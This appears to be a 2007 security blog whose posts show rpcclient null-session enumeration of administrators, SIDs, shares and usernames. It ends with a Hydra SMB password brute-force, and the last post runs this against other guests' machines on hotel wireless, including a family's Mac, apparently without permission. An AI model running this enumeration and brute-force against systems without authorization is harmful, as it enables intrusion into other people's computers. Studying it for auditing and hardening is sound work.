more with rpcclient

Got asked to help remotely locate local admins on boxes on a network.

rpcclient $> enumalsgroups
Usage: enumalsgroups builtin|domain [access mask]

rpcclient $> enumalsgroups builtin
group:[Administrators] rid:[0x220]
group:[Backup Operators] rid:[0x227]
group:[Guests] rid:[0x222]
group:[Network Configuration Operators] rid:[0x22c]
group:[Power Users] rid:[0x223]
group:[Remote Desktop Users] rid:[0x22b]
group:[Replicator] rid:[0x228]
group:[Users] rid:[0x221]

Now you would think that doing a querygroup would give you the right output, but actually you get a:

rpcclient $> querygroup 0x220
result was NT_STATUS_NO_SUCH_GROUP

Honestly I have no idea why this doesn't work, it *should*. If anyone knows why it doesn't I know more than one person who would like to know.

Anyway it takes one more step but you can do it this way:

rpcclient $> queryaliasmem
Usage: queryaliasmem builtin|domain rid [access mask]

rpcclient $> queryaliasmem builtin 0x220
sid:[S-1-5-21-1214440339-1383384898-839522115-500]
sid:[S-1-5-21-1214440339-1383384898-839522115-1003]
sid:[S-1-5-21-2392188729-2485841371-4291725810-512]

Then you can look up who those SIDs belong to

rpcclient $> lookupsids
Usage: lookupsids [sid1 [sid2 [...]]]

rpcclient $> lookupsids S-1-5-21-1214440339- 1383384898-839522115-500
S-1-5-21-1214440339-1383384898-839522115-500 PC\Administrator (1)

rpcclient $> lookupsids
S-1-5-21-1214440339-1383384898-839522115-1003
S-1-5-21-1214440339-1383384898-839522115-1003 PC\user (1)

rpcclient $> lookupsids
S-1-5-21-2392188729-2485841371-4291725810-512 rpc_api_pipe: Remote machine 192.168.242.128 pipe \lsarpc fnum 0x4001 returned critical error. Error was Call timed out: server did not respond after 10000 milliseconds result was NT_STATUS_IO_TIMEOUT

Not sure about the 512 (its a MS built-in account I think) but the 1003 was the user I added to the local admins group.

More of using rpcclient to find usernames

So say you are given the assignment of doing an audit in a non-english speaking country. you are at a minimum going to have to locate how they spell administrator in the country in question. if google doesnt help you or gives you multiple options (like it did me this time) if you can find a box running samba or with file and printer sharing enabled and shared to the world (like you arent supposed to do) then you can use rpcclient to pull out the usernames with a null session

null sessions still rule in 2007...

cg@segfault:~$ rpcclient -U "" x.x.3.96
Password:
rpcclient $> lsaenumsid
found 11 SIDs
S-1-5-6
S-1-5-32-551
S-1-5-32-547
S-1-5-32-545
S-1-5-32-544
S-1-5-21-2000478354-1708537768-1957994488-501 <--guest
S-1-5-21-2000478354-1708537768-1957994488-500 <--administrator
S-1-5-21-2000478354-1708537768-1957994488-1002
S-1-5-21-2000478354-1708537768-1957994488-1001
S-1-5-21-2000478354-1708537768-1957994488-1000
S-1-1-0
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-501
S-1-5-21-2000478354-1708537768-1957994488-501 NSL09\Convidado (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-500
S-1-5-21-2000478354-1708537768-1957994488-500 NSL09\Administrador (1)
rpcclient $> lookupnames Administrador
Administrador S-1-5-21-2000478354-1708537768-1957994488-500 (User: 1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-502
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-503
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-503
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-504
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-505
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-506
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1000
S-1-5-21-2000478354-1708537768-1957994488-1000 NSL09\TsInternetUser (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1001
S-1-5-21-2000478354-1708537768-1957994488-1001 NSL09\IUSR_NSL09 (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1002
S-1-5-21-2000478354-1708537768-1957994488-1002 NSL09\IWAM_NSL09 (1)
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1003
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-1004
result was NT_STATUS_NONE_MAPPED
rpcclient $> exit

There you have it:

rpcclient rpcclient $> lgt; lookupsids S-1-5-21-2000478354-1708537768-1957994488-500
S-1-5-21-2000478354-1708537768-1957994488-500 NSL09\Administrador (1)

oh and thanks for the name of the box too :-)


fun rpcclient info: http://uw714doc.sco.com/en/samba/rpcclient.1.html

-CG

Enumerating user accounts on Linux and OS X with rpcclient

Yeah so i was bored on the hotel wireless...errr lab...and started seeing who had ports 135, 139, 445 open. I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). Using rpcclient we can enumerate usernames on those OS's just like a windows OS. Obviously the SIDS are different but you can still pull down the usernames and start bruteforcing those other open services :-)

so lets run rpcclient with no options to see what's available:

SegFault:~ cg$ rpcclient
Usage: rpcclient [OPTION...]
-c, --command=COMMANDS Execute semicolon separated cmds
-I, --dest-ip=IP Specify destination IP address

Help options
-?, --help Show this help message
--usage Display brief usage message

Common samba options:
-d, --debuglevel=DEBUGLEVEL Set debug level
-s, --configfile=CONFIGFILE Use alternative configuration file
-l, --log-basename=LOGFILEBASE Basename for log/debug files
-V, --version Print version

Connection options:
-O, --socket-options=SOCKETOPTIONS socket options to use
-n, --netbiosname=NETBIOSNAME Primary netbios name
-W, --workgroup=WORKGROUP Set the workgroup name
-i, --scope=SCOPE Use this Netbios scope

Authentication options:
-U, --user=USERNAME Set the network username
-N, --no-pass Don't ask for a password
-k, --kerberos Use kerberos (active directory)
authentication
-A, --authentication-file=FILE Get the credentials from a file
-S, --signing=on|off|required Set the client signing state
-P, --machine-pass Use stored machine account password

Once we are connected using a null session we get another set of options:

SegFault:~ cg$ rpcclient -U "" 192.168.182.36
Password:
timeout connecting to 192.168.182.36:445
rpcclient $> help
--------------- ----------------------
SHUTDOWN
shutdowninit Remote Shutdown (over shutdown pipe)
shutdownabort Abort Shutdown (over shutdown pipe)
--------------- ----------------------
ECHO
echoaddone Add one to a number
echodata Echo data
sinkdata Sink data
sourcedata Source data
--------------- ----------------------
REG
shutdown Remote Shutdown
abortshutdown Abort Shutdown
--------------- ----------------------
DFS
dfsexist Query DFS support
dfsadd Add a DFS share
dfsremove Remove a DFS share
dfsgetinfo Query DFS share info
dfsenum Enumerate dfs shares
--------------- ----------------------
SRVSVC
srvinfo Server query info
netshareenum Enumerate shares
netfileenum Enumerate open files
netremotetod Fetch remote time of day
--------------- ----------------------
NETLOGON
logonctrl2 Logon Control 2
getdcname Get trusted DC name
logonctrl Logon Control
samsync Sam Synchronisation
samdeltas Query Sam Deltas
samlogon Sam Logon
change_trust_pw Change Trust Account Password
--------------- ----------------------
SPOOLSS
adddriver Add a print driver
addprinter Add a printer
deldriver Delete a printer driver
deldriverex Delete a printer driver with files
enumdata Enumerate printer data
enumdataex Enumerate printer data for a key
enumkey Enumerate printer keys
enumjobs Enumerate print jobs
enumports Enumerate printer ports
enumdrivers Enumerate installed printer drivers
enumprinters Enumerate printers
getdata Get print driver data
getdataex Get printer driver data with keyname
getdriver Get print driver information
getdriverdir Get print driver upload directory
getprinter Get printer info
openprinter Open printer handle
setdriver Set printer driver
getprintprocdir Get print processor directory
addform Add form
setform Set form
getform Get form
deleteform Delete form
enumforms Enumerate forms
setprinter Set printer comment
setprintername Set printername
setprinterdata Set REG_SZ printer data
rffpcnex Rffpcnex test
--------------- ----------------------
SAMR
queryuser Query user info
querygroup Query group info
queryusergroups Query user groups
queryuseraliases Query user aliases
querygroupmem Query group membership
queryaliasmem Query alias membership
querydispinfo Query display info
querydominfo Query domain info
enumdomusers Enumerate domain users
enumdomgroups Enumerate domain groups
enumalsgroups Enumerate alias groups
createdomuser Create domain user
samlookupnames Look up names
samlookuprids Look up names
deletedomuser Delete domain user
samquerysecobj Query SAMR security object
getdompwinfo Retrieve domain password info
lookupdomain Lookup Domain Name
--------------- ----------------------
LSARPC-DS
dsroledominfo Get Primary Domain Information
dsenumdomtrusts Enumerate all trusted domains in an AD forest
--------------- ----------------------
LSARPC
lsaquery Query info policy
lookupsids Convert SIDs to names
lookupnames Convert names to SIDs
enumtrust Enumerate trusted domains
enumprivs Enumerate privileges
getdispname Get the privilege name
lsaenumsid Enumerate the LSA SIDS
lsaenumprivsaccount Enumerate the privileges of an SID
lsaenumacctrights Enumerate the rights of an SID
lsaaddacctrights Add rights to an account
lsaremoveacctrights Remove rights from an account
lsalookupprivvalue Get a privilege value given its name
lsaquerysecobj Query LSA security object
--------------- ----------------------
GENERAL OPTIONS
help Get help on commands
? Get help on commands
debuglevel Set debug level
list List available commands on
exit Exit program
quit Exit program
sign Force RPC pipe connections to be signed
seal Force RPC pipe connections to be sealed
schannel Force RPC pipe connections to be sealed with 'schannel' (NETSEC). Assumes valid machine account to this domain controller.
schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel' (NETSEC). Assumes valid machine account to this domain controller.
none Force RPC pipe connections to have no special properties

Lets play with a few options:

rpcclient $> enumprivs
found 5 privileges

SeMachineAccountPrivilege 0:6 (0x0:0x6)
SeSecurityPrivilege 0:8 (0x0:0x8)
SeTakeOwnershipPrivilege 0:9 (0x0:0x9)
SaAddUsers 0:65281 (0x0:0xff01)
SaPrintOp 0:65283 (0x0:0xff03)

Enumerating shares:

rpcclient $> netshareenum
netname: IPC$
remark: IPC Service (Mac OS X)
path: C:\tmp
password:
netname: ADMIN$
remark: IPC Service (Mac OS X)
path: C:\tmp
password:
netname: PSC 2170 Series
remark: PSC 2170 Series
path: C:\tmp
password:

Samba/OS info:

rpcclient $> srvinfo
LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X
platform_id : 500
os version : 4.9
server type : 0x9a03

Using "lookupnames" we can get the SID. Once we have "a" SID we can enumerate the rest.

rpcclient $> lookupnames root
root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500
S-1-5-21-1835020781-2383529660-3657267081-500 LEWISFAMILY\Administrator (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501
S-1-5-21-1835020781-2383529660-3657267081-501 LEWISFAMILY\unknown (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-502
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1001
S-1-5-21-1835020781-2383529660-3657267081-1001 LEWISFAMILY\wheel (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1000
S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1002
S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003
S-1-5-21-1835020781-2383529660-3657267081-1003 LEWISFAMILY\daemon (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupnames guest
guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1005
S-1-5-21-1835020781-2383529660-3657267081-1005 LEWISFAMILY\kmem (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1006
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007
S-1-5-21-1835020781-2383529660-3657267081-1007 LEWISFAMILY\sys (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1008
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1009
S-1-5-21-1835020781-2383529660-3657267081-1009 LEWISFAMILY\tty (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1010
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1011
S-1-5-21-1835020781-2383529660-3657267081-1011 LEWISFAMILY\operator (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1012
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1013
S-1-5-21-1835020781-2383529660-3657267081-1013 LEWISFAMILY\mail (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1014
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1015
S-1-5-21-1835020781-2383529660-3657267081-1015 LEWISFAMILY\bin (2)
rpcclient $> lookupnames lewis
lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2000
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001
result was NT_STATUS_NONE_MAPPED
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2002
S-1-5-21-1835020781-2383529660-3657267081-2002 LEWISFAMILY\user (1)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003
S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2)
rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004
result was NT_STATUS_NONE_MAPPED

You get the idea, was pretty much the same for the Ubuntu guy cept that his user accounts were -3000.

now that i have some user accounts...

ATTACK!!!

SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
Hydra v5.1 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2007-07-27 21:51:46
[DATA] 1 tasks, 1 servers, 816 login tries (l:1/p:816), ~816 tries per task
[DATA] attacking service smb on port 139
[STATUS] 29.00 tries/min, 29 tries in 00:01h, 787 todo in 00:28h
...

yet another reason to adjust your file & printer sharing configurations when you take your computer on the road (especially if you share your My Documents folder)

-CG